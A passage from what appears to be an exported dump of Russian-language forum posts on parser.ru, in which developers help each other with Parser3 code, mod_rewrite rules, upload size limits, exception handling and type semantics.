		first_name	first_name	first_name\
		middle_name	middle_name	middle_name}\
]\
[/code]\
т.к. в строке\
[code]\
	middle_name	middle_name	middle_name\
}\
[/code]\
последний перевод каретки до } воспринимается как новая строка -> еще одно (с пустым именем) поле.\
\
Большое спасибо."
"53146","вся загвоздка в том, что я не знаю (уже [i]не знал[/i]) как \"получить\" данные переданные методом POST, а точнее как к ним обратится... в PHP это было $HTTP_POST_VAR или $_POST['var_name']\
вот я и мучался... а оказалось всё на много проще (чему я был приятно удивлен) простая комбинация $form:var_name на странице-приемщике сделала жизнь лучше, сонце ярче, небо чище, и вообще - открыло досели невиданные просторы передомною :)))\
\
спасибо за Parser :)"
"53147","нужно было писать[code]$.additional_fields[\
	^table::create{select	update	field\
last_name	last_name	last_name\
first_name	first_name	first_name\
middle_name	middle_name	middle_name\
}][/code]Количество переводов строк не важно - пустые строки парсер проигнорирует. А вот лишние табы в начале строки вполне себе неправильно воспримет."
"53148","ну и кроме того есть поиск по документации, набрав в который POST можно было получить ответ."
"53149","А GET'ом не возьмёт?\
Было бы проще простого..."
"53150","Вот ещё вопрос.\
\
[quote]В .htaccess своего сайта добавить правило для обработки урл вида:\
site.ru/catalog/1234/\
Что бы оно реврайтило на /catalog/?id=$1[/quote]\
\
Если mod rewrite'ом все запросы валить на одну страничку, то предложенный Вами вариант не самый оптимальный IMHO.\
Нужно вводить какой-то специальный тип объекта \"каталог\", чтобы не лазить в .htaccess вообще. \
Т.е., если искомый объект является дочерним по отношению к каталогу, то запрошенный URL нужно обрабатывать как-то особым образом.\
\
Собственно в этом и заключается затык.\
Что посоветуете?"
"53152","А на VBA написать не проще?"
"53153","[quote]Если mod rewrite'ом все запросы валить на одну страничку, то предложенный Вами вариант не самый оптимальный IMHO.[/quote]\
\
почему? я использую такой подход (не всегда, иногда товары хранятся в общем дереве)."
"53154","хм... про существование поиска по документации - я узнал только из вышеуказанного поста... обычно я просто приходя на работу запускал Оперу и продолжал работать с уже открытой страничкой документации на том пункте, на котором я остановился вчера... поиск - это круто, теперь буду \"мучать\" вас значительно меньше =)"
"53155","Я на этом уже всю голову сломал! :)\
Думаю: \"Ну как же мне это разрулить, чтобы можно было прям из админского интерфейса такой каталог прикрутить!\"."
"53156","[quote]Если mod rewrite'ом все запросы валить на одну страничку, то предложенный Вами вариант не самый оптимальный IMHO.[/quote]\
Почему?\
[quote]\
Нужно вводить какой-то специальный тип объекта \"каталог\", чтобы не лазить в .htaccess вообще.\
Т.е., если искомый объект является дочерним по отношению к каталогу, то запрошенный URL нужно обрабатывать как-то особым образом.\
[/quote]\
\
Вы уж меня извините, но я считаю, что это большое извращение. И к тому же если Вы используете mod_rewrite для перенаправления всех запросов на одну страницу, то почему тогда Вы не хотите поиспользовать его ещё раз? Или у Вас какая-то неприязнь к mod_rewrite?"
"53158","А если у меня сайтов миллион?\
В htaccess надо лазить к каждому, а если в админе это всё будет, то контролировать гораздо проще.\
И хочу я сайту №7134 прикрутить каталог товаров. Так мне можно будет кнопочку нажать - и всё заработало, а в противном случае придётся лезть rewrite редактировать.\
Хотя наверное это действительно извращение.\
Просто хотелось понять, насколько это вообще возможно."
"53159","не возмет.\
да и не безопасно ето."
"53160","Т.е. Вы хотите сделать это более универсальным (т.е. не хотите, чтобы была определённая привязка к имени объекта в .htaccess)? Я правильно понял фразу \"Прикрутить в админке к объекту каталог\". Если так то тут действительно лучше без этого правила, просто использовать первый предложенный Вами вариант.\
\
Но ведь Вы сразу знаете, что у Вас в системе есть модуль каталог. В таком случае Вы просто прописываете во всех сайтах стандартные правила. И даже если на сайте №7134, до определённого времени, не нужен был каталог, класс каталога уже есть в системе, обработчик и шаблон для него тоже уже написаны. То Вам всего лишь нужно будет только зарегестрировать его в БД. И потом одной кнопкой опубликовать его в админке."
"53162","Два варианта:\
1) Сложный редирект\
2) onFocus, onBlur у формы\
Первый вариант - создаете промежуточный файл между вашей формой и вебмэйл и ссылаетесь на него из вашей формы.\
Пример промежуточного файла:\
[code]\
<body onload=\"document.forms.redirect.method='post';document.forms.redirect.submit();\">\
<form name=\"redirect\" action=\"адрес вэбмэйла\">\
<input value=\"${form:name}@bershad.info\" name=\"login\" type=\"text\">\
</form>\
[/code]\
Второй вариант - при onFocus делаете поле пустым, при onBlur - берете значение поля и приписываете @bershad.info."
"53163","У меня написано не \"Прикрутить в админке к объекту каталог\", а \"прикрутить к сайту каталог\", но это совсем не важно.\
\
Как-то не пришло в голову, что можно написать правило, но до поры до времени им не пользоваться :)\
Только наверное это всё-таки паллиативный вариант. Мало ли чего мне придётся кроме ID передавать.\
\
Буду думать. Большое спасибо за содержательный совет."
"53167","обещаю в случае доработки, прислать обновления =)"
"53168","я тоже так думаю :-)\
токо как?\
я че то слепил, (в исходниках сайта есть) но оно не пашет"
"53170","Если авторство устанавливается через id юзера (а так оно и есть), то что бы из своих данных юзер не сменил - ничего кардинально не измениться."
"53172","Только не \"Извените\", а \"Извините\" ;)"
"53173","большое спасибо всем, особенно  marat"
"53174","/handler/?action=show\
\
$action[$form:action]\
^преобразовать string в junction[]\
^try{ ^action[] }{ $exception.handled(true) ^default[] }\
\
@show[]\
\
@default[]\
\
без понятия, сработает ли код вообще, но в данном случае меня интересует, как сделать приведение переменной класса string к переменной класса junction?"
"53175","исходное слово можно отсортировать, и искать в нём уже отсортированном.\
\
искомые слова тоже можно заранее отсортировать.\
\
если есть возможность, и не лень, попробуйте сравнить скорость, если заранее отсортированное и подготовленное просто в цикле искать?"
"53177","вероятность ненулевая.\
\
или я чего недопонял?"
"53178","просьба далеко не уплывать."
"53179","попробуйте global replace \"mysql_\" на \"pa_mysql_\",\
за исключением тела функции dlink.\
\
а в dlink\
строку[code]\
name=(t_##name)lt_dlsym(handle, #name); \\\
[/code]\
заменить на строку[code]\
pa_##name=(t_##name)lt_dlsym(handle, #name); \\\
[/code]\
\
описанная проблема недобро характеризует новый C++ компилятор. вероятно, опять что-то поменяли \"к лучшему\"."
"53180","[code]\
$action[$$form:action]\
[/code]\
\
см. также\
http://www.parser.ru/forum/?id=20720"
"53182","$action[^$$form:action]\
$action[^process{$action}]"
"53183","Здравствуйте! Мне пришлось заняться скрещиванием \
слона со слонихой:) (В том смысле что можно, но сложно и тяжело)\
\
У меня есть предустановленный пакет SquirrelMail v. 1.4.6 (далее SM) и есть уже сделанный форум на Parser-XML (спасибо Сергею Яценко,  Misha v3, Rafael и др. [url=\"http://www.parser.ru/forum/?id=52084\"]Форум на Parser (XML-XSL)[/url]).\
Есть желание заставлять пользователей вводить пароль только один раз, то бишь при регистрации в SM и тем самым, при переключении на форум автоматически определять параметры пользователя и его статус. Естественно в PHP все передается через следующие глобальные переменные:\
\
[code] global $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_SERVER_VARS, $HTTP_POST_FILES, $HTTP_SESSION_VARS;[/code]\
\
В документации я нашел следующее: Получение значения поля запроса: [code]$env:HTTP_ПОЛЕ_ЗАПРОСА[/code]\
\
Но запрос [code]$env:HTTP_SESSION_VARS[/code](и пляски вокруг этого сочетания) мне не дает результатов (точнее [b]username[/b], string method not found). А хочеться очень продублировать слудующее (код на PHP):\
\
[code] $_SESSION = $HTTP_SESSION_VARS;\
$username = $_SESSION['username'];[/code]\
\
Приветствуется любой совет!"
"53184","...прятать параметр в скрытое поле и обработать через $form:hidden."
"53185","...который вызывает ошибку\
[quot]username, string method not found[/quot]\
\
Можно сделать так:\
\
[b]1.[/b] Создать файл logon.html, в котором вызывать метод logon класса auth: ^auth.logon[$form:fields]\
\
[b]2.[/b] При логине в SM отправлять на эту страницу POST-данными следующие поля:\
\
[code]\
${auth.logon}[do]\
${auth.name}[...]\
${auth.passwd}[...]\
[/code]"
"53186","[quote]Из переданной строки получает «отпечаток» размером 16 байт. \
Выдает его представление в виде строки - байты представлены в шестнадцатиричном виде без разделителей, [b]в нижнем регистре[/b]. \
[/quote]\
Идин из разделов на сайте перенесли в статику, использовав для отельных кусков файлики вида \
[quote]$cacheDirectory/^math:md5[$request:uri]_{$bageBlock}[/quote]\
Парсер выдал строку символов в верхнем регистре - файлик не подгрузился - на странице пустое место.\
Workaround в виде lower[] хорош, но может быть тогда убрать из документации \"гарантированность\"."
"53187","задача такая ....\
Имеем файл в формате RTF или DOC ...\
файл длинющий....\
его надо показать на веб-странице.\
в файле очень много заголовков ... что то типа \"статья 19\"\
Задача , сделать навигацию по статьям.... и поиск ....\
Чем и как драконить , у меня возникла идей что можно использовать вордовский экспорт в XML но блин , тама в его схеме черт ногу сломит"
"53188","это фактически текстовый файл - но с другой разметкой (как HTML, Wiki и т.п.).\
\
С другой стороны, зачем париться - полезайте на CPAN и стащите [url=\"http://search.cpan.org/dist/RTF-Parser/lib/RTF/HTML/Converter.pm\"]готовый перловый модуль для перелопачивания RTF[/url]. Для Windows перловый код можно откомпилировать в EXE, на *nix можно вообще не переживать..."
"53189","Это несколько не то что мне нужно , а как сделать загловочную навигацию..... , чтобы , вывадился только нужный фрагмент?"
"53190","Задача вся таже: сохранить на сервере файл с не изменяя его имени.\
\
Код:\
\
\
[code]\
<form method=post>\
<input type=file name=photo>\
<input type=submit value=send name=saveit>\
</form>\
\
^if(def $form:saveit){\
	$form:photo.name\
}\
\
[/code]\
\
Выдает: Unhandled Exception\
\
Вроде бы не ночь, голова соображает, а не получается ..."
"53192","а смысл каждый раз отсортировывать слова ?\
база содержит 54000 слов и для каждого как Вы предлагаете иметь отсортированный оналог? \
так же есть 10000 исходных слов.\
\
помоему отфильтровать как указано [url=\"http://www.parser.ru/forum/?id=52978\"]тут[/url] и определить можно составить анаграмму или нет будут проще.\
\
насчет проверить скорости - постараюсь.\
\
если интересно, то исходники игры [url=\"http://www.ipo-design.ru/developments/lab/_gameword/game_word.rar\"]тут[/url] и [url=\"http://www.ipo-design.ru/developments/lab/_gameword/sql.rar\"]тут[/url] sql с обрезанной таблицей слов."
"53193","Значит по форуму прошерстил, почитал, ссылку под названием \"ФАК\" тоже не обошел стороной.\
\
Решил остановится на варианте серверного ограничения. Сделал как положено файл .htaccess и в нем: LimitRequestBody 300000\
\
Стала выдавать ошибку 413 \"Request Entity Too Large\" как и положено.\
\
Поставил в главном .htaccess DocumentError 413 /413.html\
\
Пишет теперь, дополнительную строчку\
[quote]Additionally, a 413 Request Entity Too Large error was encountered while trying to use an ErrorDocument to handle the request. [/quote]\
\
файл 413.html больше 512 байт, как уже говорилось. В чем же дело?"
"53194","немного истории\
прототипом послужила игра извесная мне 4-5 лет.\
http://alexp.ru/game/pword/\
видимо написнная на языке perl, а мене захотелось написать ее на parser. Вот и вся история %)\
\
\
Как обещал исходники игры [url=\"http://www.ipo-design.ru/developments/lab/_gameword/game_word.rar\"]рабочий класс с примером[/url] и [url=\"http://www.ipo-design.ru/developments/lab/_gameword/sql.rar\"]sql с обрезанной таблицей слов[/url].\
\
Описание класса:\
[code]\
^word:game_init[]	инициализация игры\
\
 ^word:game_message[введенное слово;$user_id]	возвращает текущее состояние игры\
	1 - Игры активна можно играть и придумывать слова\
	2 - Введенное слово ПРИНЯТО и его можно добавить к пользователю в список введенных им слов<br />\
	3 - Введенное слово короткое, то есть короче 4 символов (надо изменить ? тогда меняем в word.p переменную $i_Min_len(4))\
	4 - Введенное слово слишком большое, т.е. больше заданного слова\
	5 - Введенное слово совпадает с заданным в игре словом, а это не хорошо :)\
	6 - Введено слово которое есть в списке некорректных слов - game_bad_dictionary\
	7 - Введенного слова нет ни в одном словаре (game_dictionary , game_bad_dictionary)\
	8 - Невозможно составить анаграмму - Вы смотрите что пишите !\
	9 - Слово уже находится в списке Ваших слов !\
\
\
 $s_InputWord[^word:game_input_word[]]	вернет слово которое было введено пользователем (уже исправленное и перекодированное)\
\
 $s_GameWord[^word:game_word[]]	возвращает заданное в игре слово\
\
\
\
 ^word:word_save[$user_id]		сохранение слова для пользователя в текущей игре\
\
 $t_WordsUser[^word:word_user[$user_id]]	таблица введенных пользователем слов\
[/code]\
\
НЕБОЛЬШАЯ МОДЕРНИЗАЦИЯ класса int2str !!!\
\
 для этого пришлось немного изменить int2str.p , а точнее добавить средний род (a)\
 да простят меня создатели ;) + еще добавил возможность \
 помимо написания слова прописью еще и вставлять свое склонение слов\
 пример доработки\
[code]\
		$dword[\
			$.1[слово]\
			$.2[слова]\
			$.3[слова]\
			$.4[слова]\
			$._default[слов]\
		] \
\
   ^int2str:num_decline[1;a;$dword]\
   ^int2str:num_decline[2;a;$dword]\
   ^int2str:num_decline[6;a;$dword]\
\
\
  результат:\
	1 слово    \
	2 слова\
	6 слов\
[/code]"
"53195","На вкус и цвет друзей НЕТ. можно писать на чем угодно, главное результат и вообще мы от темы топика далеко отклонились. Предлагаю не продолжать данную дискуссию."
"53196","А работаете с классом статически вызывая его методы?"
"53197","Не всегда есть необходимость проверять слова в словарях и на анаграммы, а также каждый раз вытаскивать все слова пользователя и т.п.\
\
какой алгоритм действий возможен любой и выбирает сам пользователь в меру своей испорченности и показывает все что ему угодно.\
Пример:\
Вы ввели слово -> его проверили и выдали Вам сообщение, мол, слово принято нажните на кнопочку и вводите слово дальше, нажали это очень хорошо, мы его запишем к вашим словам и предложим ввести новое слово.\
\
Возможно Вы правы можно некоторые вещи было реализовать через объект класса, но как говорит мой знакомый \"это надо думать\" :)"
"53198","есть несколько объектов, которые объединяются в сборник\
\
мне нужно, чтобы объект из сборника имел доступ к полям (методам)другого объекта из сборника\
\
по идее есть вариант передать конструктору каждого объекта ссылку на сборник как параметр и сохранить\
\
дальше $сборник.объект.поле или ^сборник.объект.метод[]\
\
как такую задумку реализовать на Парсере?\
или точнее как передать объект по ссылке?"
"53199","[code]\
$oFirstObject[^className::init[...]]\
$oSecondObject[\
	$.oFirstObject[$oFirstObject]\
]\
[/code]"
"53200","Из RTF получаете HTML. В HTML ищете заголовки, расставляете к ним \"якори\". Из списка anchors генерируете оглавление.\
\
Или вообще не касаетесь HTML, а ваяете на VBA макрос в 10 строк, который создаёт в начале документа пустую страницу и ляпает в неё оглавление. Macro recorder вам в руки."
"53202","помогло\
\
<form method=\"post\" [b]enctype=\"multipart/form-data\"[/b]>"
"53204","что за переменная отвечает за posted content_length?"
"53205","начинаем читать со слов \"Еще можно поменять значение в auto.p:\" :)"
"53206","Я прочитал, сделал так -- поменял, теперь получаю милую строчку\
\
[quote]posted content_length(533032) > $LIMITS.post_max_size(307200) [parser.runtime][/quote]"
"53207","[quote]получите ошибку posted content_length, которую тоже можно [b]обработать[/b].[/quote]\
\
приведите код, показывающий где и как вы её обработали.\
\
P.S. ссылка по теме: http://www.parser.ru/docs/lang/exceptions.htm (да, как обычно в документацию, zzz)"
"53208","[code]$LIMITS.post_max_size[/code]Переменная эта задаётся в auto.p, который лежит в одной папке с parser3.exe (parser3.cgi)"
"53209","[code]^try [/code]\
\
сначала попробовал -- без изменений -- сообщение об ошибке\
\
потом вставил в auto.p корневой вот это\
\
[code]@unhandled_exception[exception;stack]\
	^if($exception.type eq \"parser.runtime\"){\
		$response:location[/413.html]\
	}{\
		^unhandled_exception_release[$exception;$stack]\
	}[/code]\
\
Без изменений"
"53210","P.S. с типом parser.runtime ошибок много разных, не надо только по ней ориентироваться. делайте также поиск подстроки в $exception.comment"
"53211","Флаг не помогает...\
\
что касается комментария, можно конечно попробовать...\
posted content_length"
"53212","Есть урл\
test.ru/gallery/?page=5\
надо сделать перенаправление на \
test.ru/script.html?type=gallery&page=5\
\
пробовал такую конструкцию \
RewriteEngine on\
RewriteRule ^([a-zA-Z]*)/(.{4,6})([0-9]{1,})$ /script.html?type=$1&page=$3\
она работает если в урле не было бы символа ?\
Как ни старался не получается, помогите."
"53213","Обработайте просто gallery в type=gallery с флагом [QSA]. page=5 как был, так и останется."
"53216","Просто HTMLя очень много , например килов 800"
"53217","Карочи залил антистатик на хост vseznaem.ru\
и не пахаит , 500 ошибка\
Я обнаружил что он запинаеться за срочку \
RewriteRule (.*) /_content.html?request=/$1 [L,QSA]\
\
и в лог пишет\
\
[Fri May 26 04:30:11 2006] [error] [client 213.24.220.11] client denied by server configuration: /home/vseznaem/public_html/auto.p\
Что делать"
"53218","[code]\
@main[]\
^if($var is 'void'){\
    ^sub[$var]\
}\
\
@sub[v]\
^if($v is 'void'){\
    ^throw[;;]\
}\
[/code]\
Мне почему-то показалось страннымм, что в sub не генерируется исключение. Как выяснилось, параметр прходит как string, разве так и должно быть?"
"53221","Стало интересно - какой же алгоритм изпользует squid, в чем заключается его эффективность(? - если она есть ;).\
Пока есть идея сделать что-то подобное используя md5 и раскидывая файлы по директориям в зависимости от первых символов хеша.\
Т.е. более-менее равномерно \"размазывать\" файлы по 32/32 или 16/16 директориям.\
\
т.е. написать метод вычисляющий из имени файла где он должен лежать:\
[code]\
# внимание! \"код\" очень и очень условный.\
# input is url string, result is filepath.\
@url2filepath[url]\
$md5_hash[^math:md5[$url]]\
^switch[^md5_hash.left(1)]{\
..\
	^case[c;h;a;r;a;c;t;e;r;s]{$level_one[01]}\
..\
}\
^switch[^md5_hash.mid(1;1)]{\
..\
	^case[c;h;a;r;a;c;t;e;r;s]{$level_two[07]}\
..\
}\
$result[$CONFIG:storage_path/$level_one/$level_two/$md5_hash]\
[/code]\
\
Просьба сильно ногами не пинать, т.к. голова совершенно не работает :("
"53222","есть примерно такая структура xml:\
\
<root>\
\
<work id=\"1\">\
....\
</work>\
\
<work id=\"2\">\
....\
</work>\
\
</root>\
\
как в xsl получить id который по величине больше всех? (т.е \"последний\")\
или есть другой способ вывести n количество последних записей?\
заранее благодарен!"
"53223","почему не назвать директорию первого уровня как ^md5.left(1), а второго как ^md5.mid(1;1)?\
\
если канает, то можно ещё попробовать (в смысле сравнить что быстрее и жрет меньше памяти) такое:\
$tLevel[^md5.match[^^(.)(.)]], а потом соотв: $tLevel.1 и $tLevel.2"
"53225","...пишу ж, что голова не очень работает :)\
\
ИМХО, принципиально разницы тут никакой нет - когда такие файлы отдаешь, то скорость match или switch роли не играет. Особенно память, тут вообще кощунственно о таком говорить - это для видео файликов решение, хоть и не больших но все же :)\
\
Хотя ваше решение гораздно красиве, думаю и его и буду использозовать :)"
"53226","P.S. да, regexp это эротично..."
"53227","дело в том, что ограничение на закачку все равно делается средствами апача, т.е. до выполнения ваших html и не конфигурационных auto.p дело просто не доходит.\
\
но я не знаю как там все на самом деле работает, может ПАФ прояснит (если это нужно). что касается меня, то у меня никогда не было причин выносить @unhandled_exception[] из конфигурационного auto.p."
"53228","именно из-за этого у меня в куче методов можно обнаружить конструкцию:\
[code]\
$hParam[^hash::create[$hParam]]\
[/code]\
\
причина та-же самая: я вызываю метод, который может принимать параметр-хеш. но может и не принимать. т.е. если я могу вызвать так ^method[$hParam] и так ^method[]\
\
допустим этот метод вызывает ещё один метод, и передает ему то, что ему пришло:\
[code]\
^anotherMethod[$hParam]\
[/code]\
\
в этом случае если ему пришел хеш, то во второй метод передастся хеш, а если пришел void, то передастся... строка (пустая). и если я в @anotherMethod[] обращусь к $hParam.field то в случае строки я отгребу ошибку.\
\
в большинстве случаев мне это не мешает, т.к. я обычно не проверяю на is void, а проверяю на !def, а вот если def, то начинаю разбираться с типами.\
\
почему сейчас это так думаю вам расскажет ПАФ (мне он не раз это уже рассказывал, однако так убедительно повторить его точку зрения на эту \"фичу\" я не могу) :)"
"53229","всё таки неудобно привязывать всё к типу ошибки. пробовал через комментарии, но что-то не получилось ^exсeption.comment.match[posted]\
\
посмотрю ещё"
"53230","[code]@unhandled_exception[exception;stack]\
^if($exception.type eq \"parser.runtime\" && def $exception.comment && ^exception.comment.pos[LIMITS.post_max_size] > 0){\
	$exception.handled(1)\
	...делаете что вам нужно...\
}\
^if(!$exception.handled){\
	^unhandled_exception_[debug|release][$exception;$stack]\
}\
\
[/code]"
"53233","... придется переделать проверку типов.\
Раньше у меня было так:\
[code]\
#public my_abstract(string base_path, string name, hash child_hash){}\
#public my_abstract(string base_path, string name, hash child_hash, my_abstract parent){}\
@create[base_path;name;child_hash;parent]\
^if($base_path is 'string' && $name is 'string' && $child_hash is 'hash'\
    && ($parent is 'void' || $parent is 'my_abstract')\
){...}{^throw[;;]}\
[/code]\
Ну а теперь будет так:\
[code]\
^if(def $base_path && $base_path is 'string' \
    && def $name && $name is 'string' && $child_hash is 'hash'\
    && (!def $parent || $parent is 'my_abstract')\
){...}{^throw[;;]}\
[/code]\
Немного громоздско, однако, потомки скажут спасибо :)"
"53235","http://www.parser.ru/forum/?id=35111"
"53236","когда client denied, будет 403 ошибка.\
ваша же #500.\
\
вероятно, строчка в журнале не вполне соответствует реальной проблеме, посмотрите в журнале другие строчки, соотнесите по времени.\
\
Rewrite может быть и не разрешён в пользовательских .htaccess, это бы приводило к 500ой ошибке, но в журнале было бы так и написано \"ваш Rewrite тут нельзя\"."
"53237","у нас с вами макроязык, по созданию, обычно, текстового результата.\
большинство мыслей автора были… о строках.\
\
соответственно, вызов\
[code]\
^method[$something]\
[/code]\
сейчас имеет такую логику:\
$something << имеет строчное представление?\
передаём строку\
$something << не имеет строчного представления?\
передаём по ссылке\
\
в основе языка изначально была basic-о-образность.\
т.е. переменные определять не нужно.\
соответственно, было необходимо, чтобы конструкция\
$nonexistent\
работала, выдавая ожидаемое: ничего.\
получается, что\
$nonexistent [b]имеет[/b] строчное представление.\
см. логику выше.\
\
мы с Мишей на эту тему раза три собирались и пытались придумать обратно-совместимый подход, который бы всех осчастливил,\
но у нас не вышло.\
\
возможно, с вашей помощью получится?"
"53238","видите последний false?\
эта ^math:md5 не может выдать большой буквы в принципе\
(то, что я раньше написал = ошибка, я не вчитался).\
\
[code]\
static const char* hex_string(unsigned char* bytes, size_t size, bool upcase) {\
	char *bytes_hex=new(PointerFreeGC) char [...];\
...\
	static const char *hex=upcase?\"0123456789ABCDEF\":\"0123456789abcdef\";\
...\
}\
\
static void _md5(Request& r, MethodParams& params) {\
...\
	pa_MD5Final(digest, &context);\
	r.write_pass_lang(*new String(hex_string(digest, sizeof(digest), false)));\
[/code]"
"53239","сортировка пузырьком проще сортировки Хоара.\
поиск pos проще поиска Бойера-Мура.\
\
у вас задача специфическая: \
очень тяжёлый цикл.\
\
соответственно, как можно больше тут желательно вынести из цикла.\
\
иначе на реалистичных объемах словарей будет труба.\
\
вот тут:\
http://paf.design.ru/bpr.html 1996ой год;)\
мы с коллегой использовали алгоритм Бойера-Мура, правда, в базовой форме всё равно тормозило, сделали по двухбуквенным сочетаниям.\
так работало с вполне приемлемой скоростью.\
конечно, скорость тогдашних процессоров была поменьше нынешних.\
\
в Parser сейчас не используется встроенный в библиотеку PCRE механизм study(regex), работающий ровно по этому же алгоритму Бойера-Мура.\
в нашем с вами случае, это бы изрядно ускорило повторные regex запросы по одному входящему слову.\
\
я тогда решил, что задача такая не возникнет.\
не прошло и N нет, как приходите вы ;)"
"53240","Хостинг арбатек...\
млин\
уже день ругаюсь с ними"
"53241","Если набирается достаточное количество изменений, которые не совместимы со старым кодом, то, [i]имхо[/i], другого решения, кроме как сделать два режима интерпретации (старый и новый) нет.\
\
Например,  в начале новых скриптов (а лучше - старых) указывать директиву, определяющую как интерпретировать код.\
\
Лично я обеими руками за подобные изменения."
"53242","у моего объекта получился обработчик, состоящий из нескольких методов, посоветуйте как мне его теперь такого скомпилировать и выполнить.\
 \
Если спроцессить все это дело в текущий контекст, то теоритически могут случиться методы с одинаковыми названиями, которые переопределят друг друга.\
\
Была мысль собрать эти методы в отдельный класс и сделать универсальный интерфейс подключения обработчиков, что-то типа:\
[code]\
^use[data_process.p]\
$object[^data_process::create[$parameters]]\
^object.getXML[]\
[/code]\
но не могу придумать нормального способа создания объекта класса, имя которого берется из базы и заранее неизвестно. [url=\"http://www.parser.ru/forum/?id=20720\"]Фабрика объектов[/url] не нравится - не понимаю зачем регистрировать объекты в коде, если они все уже зарегистрированы в базе? [url=\"http://www.parser.ru/forum/?id=9066\"]Вариант с одинаковыми именами классов[/url] в разных файликах тоже не подходит - собираюсь компилировать обработчики блоков через этот-же интерфейс, не совсем понятно как поведут себя такие классы, будут ли записываться один вместо другого, будут ли считываться при повторном подключении через ^use[]...\
\
Пока получается только такой убогий вариант:\
[code]\
^use[${data_process}.p]\
$object[^process{^^${data_process}::create[^$parameters]}]\
^object.getXML[]\
[/code]"
"53243","но для чего нужно предположение, что void имеет строчное представление?\
\
почему нельзя предположить,\
\
что не определенный $something не имеет строчного представления,\
а не определенный $nonexistent отдает ссылку на void, вполне определенную и ожидаемую вещь?"
"53245","Если я правильно понял ;), это потому, что обращение к  несуществующей переменной вместо ошибки возвращает пустую [i]стороку[/i].\
\
А сделано так было потому, что:\
\
[quote]в основе языка изначально была basic-о-образность.\
т.е. переменные определять не нужно.[/quote]"
"53246","Если у вас боольшой обработчик, то что вам мешает вынести код обработчика в отдельный класс и не переживать за перекрытия методов? А в обработчике создавать объект класса и пользоваться его методами.\
\
Если у вашего документа (=объекта) десять блоков со своими обработчиками, то учтите что эти обработчики будут компилироваться и выполняться последовательно. Т.е. даже если в этих обработчиках (теоретически) совпадут имена методов и при компиляции они друг друга перекроют, то ничего страшного не случится, т.к. первый метод перекроется вторым после того как он уже будет не нужен.\
\
PS\
теоретически, конечно, возможны нежелательные перекрытия методов обработчика и методов контекстного класса(объекта).\
Но практически это маловероятно, по крайней мере, у меня.\
\
\
Предлогаю создать пустой статический класс\
[code]\
@CLASS\
empty\
#\
[/code]\
\
и компилировать все обработчики в его контексте.\
\
[code]\
^use[empty.p]\
$process_code[^file::load[text;process.txt]]\
^process[$empty:CLASS]{^taint[as-is][$process_code.text]}[\
	$.main[main_method]\
]\
^empty:main_method[]\
[/code]\
\
Теперь совпасть могут только имена методов из различных обработчиков, что не страшно.\
\
[code]\
\
         * * *[/code]\
UPDATE\
Кстати, совсем забыл. Еще спасает уникальное имя метода main при компиляции. Для этого перед компиляцией нужно заменить имя главного метода на уникальное. Например ^math:md5[$path_to_process_file]\
\
(вот как здесь: http://www.parser.ru/forum/?id=49653)"
"53247","я посмотрел внимательнее, у меня боольшими получаются только обработчики объектов, а для вывода большинства блоков достаточно простейшего [code]<$block.name>$block.body</$block.name>[/code]\
пожалуй воспользуюсь вариантом [url=\"http://www.parser.ru/forum/?id=9066\"]с одинаковыми именами классов[/url], он мне давно нравится, а обработчики блоков встрою в обработчик объекта, благо много места они не занимают.\
\
Но альтернативные пути решения все равно интересуют, как-то не верится что всем для вывода объектов всегда хватает одного метода. \
\
Вариант с выносом методов в отдельный класс и последующим подключением через ^use[] видится мне каким-то странным извращением, по стилю схожим с процессингом конструктора объекта, который я приводил в предыдущем посте. По моему мнению для компиляции обработчика должно быть достаточно одной остановки (один ^use[] или один ^process{}), допускаю разве что в порядке исключения, когда все обработчики нормальные а один большой.\
\
Вариант с компилированием в дополнительный empty:CLASS тоже имеет свои минусы - при кешировании скомпилированных обработчиков и повторном вызове обработчика, скомпиленного в самом начале, в нем могут случиться чужие перезаписанные методы. Можно, конечно, не кешировать, но это уже не то..."
"53248","Это все извращение с empty:CLASS. Я его не использую :)\
\
[code]\
\
         * * *[/code]\
Кеширование и компиляция обработчиков у меня происходит обычным ^rocess[]\
[code]\
^process[$caller.self]{$process_file.text}[ \
	$.main[$unique_manin_method_name]\
]\
[/code]\
\
[code]\
\
         * * *[/code]\
Обработчик объектов у меня всего один -- дефолтовый.\
Весь функционал у меня обрабатывается в блоках.\
Поэтому за униальностью имен следить не сложно.\
\
Честно говоря, не вижу здесь проблемы :)"
"53249","почему нельзя считать пустую строку принадлежащей сразу двум классам void и string? по крайней мере для оператора is?"
"53250","Ситуация\
\
пользовательский класс имеет 3 конструктора для восстановления полей объекта по данным из соответствующего источника:\
\
@create[data]\
@file[path]\
@sql[id]\
\
создается объект, над ним совершаются действия, меняются его поля\
\
хочется, чтобы непосредственно перед разрушением данные объекта автоматически сохранились, например, сохранились в базу данных"
"53251","тогда в коде парсера придется держать код, реализующий обе логики. а это: сложность его поддержания.\
\
возможно как вариант планировать это для parser 3.3, типа не очень совместимое изменение, посему смена второй циферки. :)\
\
но опять же это только в случае, если придумается красивый вариант. у меня его нет, а некая нестыковка с void не сильно мне мешает."
"53252","на сколько я понял, в Engine к объекту можно привязать блоки, которые дальше последовательно выводятся в xml, а к блоку привязать блок нельзя\
\
как же тогда один блок разместить внутри другого блока, например, баннер внутрь списка найденных товаров?\
\
или это может делать преобразование xml->html при применении xsl шаблона?"
"53253","Ваш документ состоит из блоков.\
\
Как из этих блоков будет собрано дерево документа решает обработчик этого документа, а как это все потом будет выглядеть решает xslt-шаблон."
"53254","Разработчику будет неясно на каком именно этапе будет убиваться объект и выполнятся действия в деструкторе. Будет неясно какие действия над другими объектами к этому моменту уже выполнились и какие объекты в каком состоянии находятся (допустим мы будем в деструкторе использовать переменные из других классов). Поэтому ничего лучше явного вызова там где это требуется: [code]^object.saveAndClose[][/code] лично я не вижу."
"53255","Я недавно начал разработку своей CMS, писал на PHP но прочитал в журнале про язык парсер я заинтересовался. Оказалось что он на много проще PHP и функционалнее. Собственно вопрос:\
Можно ли зделать связку парсер и пхп что-бы не переписывать весь код CMS заново?"
"53257","Спасибо... Искал такой топик но не нашёл... Спасибо ещё раз..."
"53264","[quot]Оказалось что он на много проще PHP и функционалнее[/quot]\
\
Вам сказали неправду, уважаемый."
"53265","Где аргументы?! И вообще уже достаточно в форуме было на эту тему сказано. Ищите и найдете."
"53266","В форуме нет практически никаких реальных комментариев относительно этого вопроса.\
\
1) Где сравнительные тесты Парсера и PHP?\
2) Где реальные коммерческие продукты (не лебедевские), созданные на Парсере?\
\
Пока что лично я вижу в Парсере еще один \"велосипед\", при чем не самой лучшей \"модели\"."
"53268","Хватит уже разводить эти войны.\
Человек высказал своё мнение, такое, какое у него сложилось после прочтения.\
\
